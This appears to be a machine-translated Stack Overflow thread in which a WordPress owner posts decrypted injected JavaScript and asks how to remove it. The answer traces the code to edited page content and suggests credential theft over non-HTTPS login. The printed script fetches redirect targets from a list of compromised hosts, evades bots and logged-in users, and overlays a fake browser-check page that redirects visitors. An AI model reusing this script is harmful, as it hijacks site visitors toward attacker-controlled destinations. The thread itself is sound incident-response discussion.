【问题标题】:Suspicious code in WordPress any idea how to remove this?WordPress中的可疑代码知道如何删除它吗?
【发布时间】:2016-12-06 14:06:50
【问题描述】:
(function () {
    //<script>
    var w_location = null;

    var domains = [
        'http://kntsv.nl/images/tmp.php',
        'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
        'http://langedijke.nl/plugins/tmp.php',
        'http://megateuf.edelo.net/cgi-bin/tmp.php',
        'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
        'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
        'http://yofeet.com/drupal/modules/tmp.php',
        'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
        'http://www.devonportmotors.co.nz/images/tmp.php'
    ];

    function getDomainName(domain) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                if (xhr.responseText && xhr.responseText.trim().length > 0) {
                    w_location = xhr.responseText.trim();
                }
            }
        };
        xhr.open('GET', domains[0], true);
        xhr.send();
    }

    for (var i = 0; i < domains.length; i++) {
        getDomainName(domains[i]);
    }

    function start() {

        var from = document.referrer;
        var i;

        // If it's direct
        var eee = ["", " "];

        var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];


        if (checkCookie()) {
            return;
        }
        var uagent = navigator.userAgent;
        if (!uagent || uagent.length == 0) {
            return;
        }
        uagent = uagent.toLowerCase();
        if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
            || uagent.indexOf('crawl') != -1) {

        } else {
            hideWebSite();
        }

        function getCookie(c_name) {
            var c_value = document.cookie;
            var c_start = c_value.indexOf(" " + c_name + "=");
            if (c_start == -1) {
                c_start = c_value.indexOf(c_name + "=");
            }
            if (c_start == -1) {
                c_value = null;
            }
            else {
                c_start = c_value.indexOf("=", c_start) + 1;
                var c_end = c_value.indexOf(";", c_start);
                if (c_end == -1) {
                    c_end = c_value.length;
                }
                c_value = unescape(c_value.substring(c_start, c_end));
            }
            return c_value;
        }

        function setCookie(c_name, value, exdays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + exdays);
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
            document.cookie = c_name + "=" + c_value;
        }

        function checkCookie() {
            if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                return true;
            } else {
                localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
            }
            var referrerRedirectCookie = getCookie("referrerRedirectCookie");
            if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
                return true;
            } else if (document.cookie.indexOf('wordpress_logged') !== -1
                || document.cookie.indexOf('wp-settings') !== -1
                || document.cookie.indexOf('wordpress_test') !== -1) {
                return true;
            } else {
                setCookie("referrerRedirectCookie", "do not redirect", 730);
                return false;
            }
        }

    }


    function createPopup() {
        var popup = document.createElement('div');
        popup.style.position = 'absolute';
        popup.style.width = '100%';
        popup.style.height = '100%';
        popup.style.left = 0;
        popup.style.top = 0;
        popup.style.backgroundColor = 'white';
        popup.style.zIndex = 99999;
        document.body.appendChild(popup);

        popup.onclick = function () {
            var intervalId = setInterval(() = > {
                    if (
            !w_location
            )
            {
                return;
            }
            clearInterval(intervalId);
            window.location = w_location;
        },
            10
            )
            ;

        };

        var p = document.createElement('p');
        p.innerText = "Checking your browser before accessing "
            + window.location.host + "...";
        p.style.textAlign = 'center';
        //p.style.margin = '20px auto';
        //p.style.left = '20px';
        p.style.fontSize = 'x-large';
        p.style.position = 'relative';
        p.textContent = p.innerText;
        popup.appendChild(p);

        return popup;
    }

    function createButton() {
        var button = document.createElement('div');
        button.style.position = 'absolute';
        button.style.top = '20%';
        button.style.left = '10%';
        button.style.right = '10%';
        button.style.width = '80%';
        button.style.border = "1px solid black";
        button.style.textAlign = 'center';
        button.style.verticalAlign = 'middle';
        button.style.margin = '0, auto';
        button.style.cursor = 'pointer';
        button.style.fontSize = 'xx-large';
        button.style.borderRadius = '5px';
        button.onclick = function () {
            window.location = w_location;
        };
        button.onmouseover = function () {
            button.style.border = '1px solid red';
            button.style.color = 'red';
        };
        button.onmouseout = function () {
            button.style.border = '1px solid black';
            button.style.color = 'black';
        };

        button.innerText = "Continue";
        button.textContent = button.innerText;
        return button;
    }

    var hideWebSite = function () {
        var popup = createPopup();
        var button = createButton();
        popup.appendChild(button);

    };

    var readyStateCheckInterval = setInterval(function () {
        if (document.readyState === 'complete'
            || document.readyState == 'interactive') {
            clearInterval(readyStateCheckInterval);
            start();
        }
    }, 10);
    //</script>


})

我在代码中尝试了 grep,但找不到任何东西,我使用 MySQL 转储完整数据库,但在那里没有找到任何东西。

我运行了 clamscan,但找不到任何问题,我怀疑 Visual Composer,但是当我在 Visual Composer 中 grep 时,我没有看到此代码。

更新

这是网站在被感染时显示的内容:

您可以通过转到 Chrome 开发工具控制台并查看变量 ZJPMAWHWOE 的值来检查该消息和按钮的来源(叠加层,不应存在),这将为您提供一堆JS 代码,但在变量中它是加密的,一旦代码运行并被解密,它就是上面发布的 JS 代码。

如果您访问网站 https://sitecheck.sucuri.net/ 并检查您的网站,那么您将收到他们的感染警报:

【问题讨论】:

  • 你怎么知道它可疑?此外,有关此代码的存储位置、文件名等的更多信息。stackoverflow.com/help/how-to-ask
  • 有些代码肯定是可疑的。你是怎样找到它的。它是作为单独文件加载还是作为内联文件加载?
  • 你应该先弄清楚它是如何进入的,否则它会稍后再回来。
  • 我可以在 Chrome 开发人员工具中看到这段代码......当我的 wordpress 页面加载时......我找不到这段代码在哪里......正如我所说......我做了 grep数据库转储上的所有文件和 grep 也
  • 您使用的是哪个版本的 WordPress?我目前遇到了同样的问题。

标签: wordpress security


【解决方案1】:

经过进一步调查,我们发现以下内容:

正如 OP 和 cmets 中的其他人所指出的,对同一服务器中的网站文件和其他站点的文件进行 GREP 以获取任何受感染代码(加密或解密)的痕迹并没有给出任何结果,这意味着感染是不在任何文件中(至少不是那种形式)。

我们注意到页面底部有一些额外的垃圾字符,我们的“合法”免责声明:

追踪最终 HTML 的哪一部分受到感染(和/或垃圾字符),在我们的案例中寻找 JS 变量 ZJPMAWHWOE

实际上,脚本代码存在于一个已知的 HTML 片段中,对我们来说,它是存在于我们的一个 WordPress 页面中的“合法”页面。

这现在指向在 WordPress 中直接编辑的页面/帖子内的代码。我们进入并检查了法律页面并在那里找到了它(首先注意到相同的垃圾字符):

然后在向下滚动(在文本视图中,以获取页面的原始 HTML)时,我们得到了这个:

我们检查了站点中的其他页面和帖子,其中存在相同的注入代码。

一旦我们清理它们,所有的感染似乎都消失了。

那么现在,攻击是如何完成的?我们的理论是,只有通过获取 WordPress 用户凭据并编辑页面/帖子;在我们的例子中,这相当容易,因为我们的 /wp-admin 登录页面不受 HTTPS 保护,因此我们的用户和密码很容易被嗅探;我们认为这是他们获取用户凭据并随后编辑页面/帖子以添加恶意代码的方式。

除了清理之外,我们还做了以下工作:

  • 更新了系统密码数据库
  • 从 WordPress 中删除所有用户;我们只留下了“管理员”和我的用户(都具有管理员角色)
  • 更新了用户“admin”和我的用户的密码
  • 使用新密码为博客编辑重新创建用户

进行中:我们正在为我们的 WordPress 获取 HTTPS,以保护每次登录 wp-admin 时提交的用户/密码信息。

我还想了解有关如何提高 WordPress 安全性的其他建议,以及有关他们如何能够在页面/帖子中注入恶意代码的其他理论。

【讨论】:

    猜你喜欢
    • 2016-08-26
    • 2012-01-09
    • 2017-04-03
    • 2022-08-19
    • 2010-12-22
    • 1970-01-01
    • 2023-03-25
    • 1970-01-01
    • 2022-06-14
    相关资源
    最近更新 更多